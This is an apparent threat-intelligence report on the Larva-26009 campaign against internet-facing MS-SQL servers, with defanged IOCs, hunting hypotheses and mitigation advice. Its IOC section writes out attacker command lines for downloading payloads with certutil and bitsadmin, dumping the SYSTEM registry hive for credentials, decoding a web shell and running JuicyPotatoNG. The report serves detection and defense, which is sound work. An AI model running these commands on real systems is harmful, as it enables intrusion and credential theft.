12 minhigh
Case Study: Targeted Attack Case on an MS-SQL Server Involving the Installation of GotoHTTP and SoftEther VPN
ASEC documented an attack campaign attributed to Larva-26009 targeting internet-facing MS-SQL servers, in which attackers escalate from initial command execution to installing web shells, privilege escalation tools (JuicyPotatoNG, SigmaPotato, BadPotato, RustPotato), remote access tools (GotoHTTP, VShell, Chrome Remote Desktop), backdoor accounts, and ultimately deploying XMRig CoinMiner alongside a SoftEther VPN server configured in cascade mode to obscure C2 infrastructure. The actor leverages legitimate/dual-use software (Cloudflared, Chrome Remote Desktop, a patched NVIDIA utility) and encrypted shellcode loaders (RingQ) to evade detection while maintaining persistent, multi-stage access.
Sens:▲ 24h
Showing defanged values
- domainmicrosftapiedge[.]comTyposquat/lookalike domain used as C2 or download infrastructure by the threat actor
- domainupdate[.]microsftapiedge[.]comSubdomain used as C2 or update-related infrastructure
- ip159[.]223[.]46[.]140IP address associated with the attacker's infrastructure
- ip38[.]60[.]253[.]35IP address associated with the attacker's infrastructure
- md503bbee2c93c8b78bba321396a92bf026Malware sample associated with the campaign
- md50429b9f291f570db0945282aa77c2d98Malware sample associated with the campaign
- md5056ffa80af31d17e0cee037b44e0c7efMalware sample associated with the campaign
- md50eb0f57afd54c9733c720fbac82b754bMalware sample associated with the campaign
- md50ebab847d4e21bb7a3c22c291be0ac3aMalware sample associated with the campaign
- urlhxxp://pub-c4c8e8c336c3429d97195076bf3bb6eb[.]R2[.]Dev/009/qd_c_joke1[.]2[.]Ps1PowerShell script download used in SoftEther VPN deployment/configuration
- urlhxxp://pub-c4c8e8c336c3429d97195076bf3bb6eb[.]R2[.]Dev/goto/gojoke[.]PngEncrypted GotoHTTP payload disguised as an image, downloaded and executed via a patched NVIDIA utility shellcode loader
- urlhxxp://pub-c4c8e8c336c3429d97195076bf3bb6eb[.]R2[.]Dev/wk/009/xmr-1[.]ZipDownload URL for compressed archive containing XMRig CoinMiner loader (edge.Exe/edgeico.Ico)
![hxxp://pub-c4c8e8c336c3429d97195076bf3bb6eb[.]R2[.]Dev/goto/gojoke[.]Png](/iocs/url/http%3A%2F%2Fpub-c4c8e8c336c3429d97195076bf3bb6eb.r2.dev%2Fgoto%2Fgojoke.png){kind=link}
Detection / HunterAnthropic
What Happened
Attackers broke into database servers (Microsoft SQL Server, used by many businesses to store data) and used that access to install a variety of tools: hidden remote control software, fake user accounts, password-stealing tools, and ultimately a program that secretly mines cryptocurrency using the victim's computer resources. They also set up a private tunnel network (a VPN) to hide their tracks. This matters because any organization running an exposed or poorly secured database server could be silently taken over, have data or passwords stolen, and have their computing resources abused, all while the intrusion may go unnoticed since attackers used legitimate-looking software instead of obvious malware. Administrators should ensure database servers use strong, regularly changed passwords, keep security software updated, and restrict public internet access to database servers using firewalls.
Key Takeaways
- Threat actor 'Larva-26009' compromises MS-SQL servers to deploy a wide toolkit including web shells, privilege escalation tools, remote access tools (GotoHTTP, VShell, Chrome Remote Desktop), and XMRig CoinMiner.
- Legitimate remote administration tools (GotoHTTP, Chrome Remote Desktop) and dual-use utilities (Cloudflared, SoftEther VPN) are abused for command-and-control and to evade detection, complicating simple blocklisting.
- A legitimate NVIDIA utility's code section was patched to act as a shellcode loader, indicating binary patching/living-off-the-land techniques to bypass security controls.
- SoftEther VPN is configured in Cascade Connection mode, chaining to another VPN server to obscure the true C2 infrastructure.
- Backdoor accounts with trailing '$' (e.g., MSSQLSERVERS$, mssql$, adminweb1$) are created via the SpecialAccounts registration mechanism to hide from standard user enumeration and enable RDP access.
- Credential theft is performed via registry hive dumping (SYSTEM/SAM/SECURITY) and the open-source HackBrowserData tool for browser credential/cookie theft.
Affected Systems
- Microsoft SQL Server (MS-SQL)
- Internet Information Services (IIS) web servers
- Windows servers with internet-facing database/web services
Vulnerabilities (CVEs)
None identified.
Attack Chain
- Initial Access: MS-SQL server is compromised (initial vector unspecified), attacker executes commands via the SQL process
- Execution/Delivery: Attacker downloads additional payloads using bitsadmin, certutil, and PowerShell from attacker-controlled cloud storage
- Persistence: Web shells (Sharp4WebCmd, Suo5) are decoded onto IIS servers; backdoor accounts with trailing '$' are created via SpecialAccounts to evade detection
- Privilege Escalation: Potato-family tools (JuicyPotatoNG, SigmaPotato, BadPotato, RustPotato) are used to escalate to SYSTEM privileges
- Command and Control/Remote Access: GotoHTTP, VShell, Chrome Remote Desktop, and Cloudflared are deployed for remote control and to expose local ports externally; SoftEther VPN is configured in cascade mode to obscure true C2
- Impact: Credential theft via registry hive dumps and HackBrowserData, internal network scanning via Fscan, and final deployment of XMRig CoinMiner for cryptocurrency mining
Detection Availability
- YARA Rules: No
- Sigma Rules: No
- Snort/Suricata Rules: No
- KQL Queries: No
- Splunk SPL Queries: No
- EQL Queries: No
- Other Detection Logic: No
The article does not publish YARA, Sigma, Snort/Suricata, or query-language detection rules. It states that additional IOCs and detailed analysis are available to subscribers of AhnLab TIP (paid threat intelligence platform).
Detection Engineering Assessment
copy:
| Dimension | Rating | Rationale |
|---|---|---|
| EDR Visibility | Medium | Many techniques (reg save, certutil decode, bitsadmin transfer, privilege escalation binaries, account creation) are visible to EDR via process creation and command-line logging, but abuse of legitimate remote access tools (GotoHTTP, Chrome Remote Desktop) and in-memory shellcode execution via RingQ/patched utilities reduces signature-based detection efficacy. |
| Network Visibility | Medium | Outbound connections to cloud storage (S3, Aliyun OSS, R2) and Cloudflared tunnels/SoftEther cascade VPN could be observed via network telemetry, but use of legitimate cloud/CDN services and encrypted tunnels complicates identification of malicious traffic among normal cloud usage. |
| Detection Difficulty | Hard | The campaign relies heavily on legitimate/dual-use tools (GotoHTTP, Chrome Remote Desktop, Cloudflared, SoftEther, certutil, bitsadmin) and in-memory shellcode execution to evade static and signature-based detection, requiring behavioral and contextual analysis to distinguish malicious use from legitimate administrative activity. |
Required Log Sources
- Windows Security Event Logs (4688 process creation, 4720/4722 account creation, 4657 registry modification)
- PowerShell script block/module logging (Event ID 4104)
- Sysmon (Event ID 1 process creation, 3 network connection, 11 file creation, 13 registry)
- IIS/Web server access logs
- MS-SQL server audit/query logs
- DNS and proxy/firewall logs for outbound connections
Hunting Hypotheses
copy:
| Hypothesis | Telemetry | ATT&CK Stage | FP Risk |
|---|---|---|---|
| Look for MS-SQL server process (sqlservr.exe) spawning child processes such as cmd.exe or powershell.exe, which is atypical for normal database operations | Process creation logs / EDR process tree, Sysmon Event ID 1 | Initial Access/Execution (T1190, T1059.001) | Low - legitimate MS-SQL operations rarely spawn shell interpreters |
| Identify certutil.exe usage with -decode or -urlcache flags, which is an uncommon but known LOLBIN technique for staging encoded payloads | Process command-line logging, Sysmon Event ID 1 | Defense Evasion/Delivery (T1140, T1105) | Medium - certutil has legitimate certificate management uses; filter by unusual arguments/destination paths |
| Hunt for local account creation events where account names end in '$' outside of normal machine account conventions, indicating attempted concealment via SpecialAccounts registration | Windows Security Event ID 4720/4722, registry monitoring of SpecialAccounts\UserList | Persistence (T1136.001, T1078) | Low - trailing '$' user accounts outside of legitimate machine accounts are unusual |
| Monitor for reg.exe save operations targeting SYSTEM, SAM, or SECURITY hives, a strong indicator of offline credential extraction preparation | Process command-line logging, Sysmon Event ID 1, file creation events for .hiv files | Credential Access (T1003.002) | Low - hive dumping is rarely performed by legitimate admin workflows outside of backup/DR processes |
| Detect outbound connections or installation of remote access/tunneling software (GotoHTTP, Cloudflared, SoftEther) on servers where such tools are not part of the standard software baseline | Network connection logs, software inventory/EDR application control logs, Sysmon Event ID 3 | Command and Control (T1219, T1572, T1090) | Medium - some organizations legitimately use Cloudflared or remote access tools; requires baseline comparison |
Control Gaps
- Traditional signature-based antivirus is unlikely to flag legitimate tools like GotoHTTP, Chrome Remote Desktop, Cloudflared, or SoftEther when used maliciously
- In-memory shellcode execution via RingQ and patched legitimate binaries bypasses static file-based scanning
- Application allowlisting that permits certutil, bitsadmin, and reg.exe (common LOLBINs) will not prevent this activity without command-line/argument-level restrictions
- Standard user account monitoring may miss accounts with trailing '$' registered via SpecialAccounts
Key Behavioral Indicators
- MS-SQL server process spawning shell interpreters or LOLBINs (certutil, bitsadmin, reg.exe)
- Unusual child process trees originating from IIS worker processes (w3wp.exe) executing web shell commands
- Registry hive save operations targeting SYSTEM/SAM/SECURITY paths
- New local user accounts with trailing '$' not matching legitimate machine account naming
- Presence of unexpected remote access/tunneling software installation on server-class systems
- Decryption/loading of files with non-standard extensions (e.g., .png, .ico, .txt) as executable payloads in memory
False Positive Assessment
Medium - many indicators (LOLBIN usage, remote access tool installation, tunneling software) overlap with legitimate administrative activity; contextual and behavioral analysis is needed to distinguish malicious use from normal operations.
Recommendations
Immediate Mitigation
defender takeaway
- Verify against your organization's incident response runbook and team escalation paths before acting; consider isolating any MS-SQL or IIS servers showing signs of the described activity if your EDR/network controls support host isolation.
- Consider auditing local and domain accounts for unexpected entries (especially names ending in '$') and reviewing the SpecialAccounts registry key for unauthorized entries.
- Consider reviewing recently installed software on database and web servers for unauthorized remote access tools (GotoHTTP, Chrome Remote Desktop, Cloudflared, SoftEther) and removing/blocking those not sanctioned.
- Consider rotating credentials for MS-SQL service accounts and any accounts potentially exposed via registry hive dumps or browser credential theft.
Infrastructure Hardening
- Evaluate enforcing strong, regularly rotated passwords and account lockout policies for MS-SQL server accounts to reduce brute-force/dictionary attack risk.
- Consider restricting public internet exposure of MS-SQL servers using firewalls/network segmentation and limiting access to trusted IP ranges where feasible.
- Evaluate application allowlisting policies to restrict execution of LOLBINs (certutil, bitsadmin) with unusual arguments on server systems.
- Consider monitoring and restricting outbound access to cloud storage/CDN services (S3, Aliyun OSS, Cloudflare R2) from database and web servers where such access is not business-required.
User Protection
- Ensure endpoint security/antivirus (e.g., V3 or equivalent) definitions are kept up to date on all database and web server hosts.
- Consider deploying EDR with behavioral detection capabilities capable of flagging anomalous process trees originating from sqlservr.exe or w3wp.exe.
- Where applicable, restrict or monitor installation of remote desktop/remote access software via software restriction policies.
Security Awareness
- Consider briefing database and system administrators on this campaign's TTPs, emphasizing that legitimate remote access tools can be repurposed maliciously.
- Incorporate awareness of MS-SQL/IIS server hardening best practices into ongoing administrator training programs.
- Encourage administrators to periodically audit local user accounts and installed software inventories on server systems as part of routine security hygiene.
MITRE ATT&CK Mapping
MITRE ATT&CK Mapping18 techniques
Tactic
Initial Access
Tactic
Execution
Tactic
Persistence
Tactic
Privilege Escalation
Tactic
Stealth
Tactic
Credential Access
Tactic
Discovery
Tactic
Command and Control
Tactic
Impact
Additional IOCs
- Ips:
159[.]223[.]46[.]140- Attacker infrastructure IP38[.]60[.]253[.]35- Attacker infrastructure IP
- Domains:
microsftapiedge[.]com- Lookalike domain used by threat actorupdate[.]microsftapiedge[.]com- Subdomain used by threat actor
- Urls:
hxxps://imagefiles-backup[.]oss-ap-southeast-7[.]aliyuncs[.]com/apaches.aspx- Download server hosting an ASPX web shellhxxps://imagefiles-backup[.]oss-ap-southeast-7[.]aliyuncs[.]com/batt.exe- Download server hosting batch/tool executable (batt.exe)hxxps://imagefiles-backup[.]oss-ap-southeast-7[.]aliyuncs[.]com/browser.exe- Download server hosting browser-related tool (possibly HackBrowserData component)
- File Hashes:
03bbee2c93c8b78bba321396a92bf026(MD5) - Malware sample associated with the campaign0429b9f291f570db0945282aa77c2d98(MD5) - Malware sample associated with the campaign056ffa80af31d17e0cee037b44e0c7ef(MD5) - Malware sample associated with the campaign0eb0f57afd54c9733c720fbac82b754b(MD5) - Malware sample associated with the campaign0ebab847d4e21bb7a3c22c291be0ac3a(MD5) - Malware sample associated with the campaign
- Registry Keys:
HKLM\SYSTEM- Registry hive dumped by attacker for credential theft (used with SAM/SECURITY hives to extract password hashes)
- File Paths:
C:\users\%ASD%\gojoke.Png- Encrypted GotoHTTP payload disguised as image file, decrypted and executed in memory by a patched NVIDIA utilityC:\Program Files (x86)\Microsoft\EdgeUpdate\xmr-1.Zip- Archive containing XMRig CoinMiner loader dropped under a legitimate-looking pathC:\users\%ASD%\qd_c_joke1.2.Ps1- PowerShell script dropped to configure/deploy SoftEther VPNC:\users\[username]\ys.Hiv- Dumped SYSTEM registry hive saved to disk for offline credential extractionmain.Txt- Encrypted shellcode payload decrypted and executed in memory by RingQ, resolving to GotoHTTPedge.Exe- Shellcode loader dropped alongside XMRig payload, decrypts edgeico.Icoedgeico.Ico- Encrypted XMRig payload disguised as an icon file
- Command Lines:
- Purpose: Delay/sleep or connectivity check executed by compromised MS-SQL process before payload download | Tools:
ping.exe| Stage: Initial Access/Execution |Ping -n 10 127.0.0.1 - Purpose: Decode a base64-encoded web shell payload staged on disk into an executable ASPX file | Tools:
certutil.exe| Stage: Persistence/Web Shell Installation |Certutil.Exe -decode <input.txt> <output.aspx> - Purpose: Dump SYSTEM registry hive for offline credential extraction | Tools:
reg.exe| Stage: Credential Access |Reg save HKLM\SYSTEM <output_path> - Purpose: Download a remote payload archive using BITS transfer service | Tools:
bitsadmin.exe| Stage: Command and Control/Delivery |Bitsadmin /transfer <jobname> /download /priority normal <url> <destination> - Purpose: Download an encrypted/disguised payload via certutil URL cache function | Tools:
certutil.exe| Stage: Delivery |Certutil.Exe -urlcache -split -f <url> <destination> - Purpose: Enumerate domain group membership for reconnaissance | Tools:
net.exe| Stage: Discovery |Net group /domain - Purpose: Execute privilege escalation via Potato-family tools to run commands as SYSTEM | Tools:
JuicyPotatoNG,RasManPotato| Stage: Privilege Escalation |JuicyPotatoNG.exe -t * -p <target_binary> -a <args>
- Purpose: Delay/sleep or connectivity check executed by compromised MS-SQL process before payload download | Tools: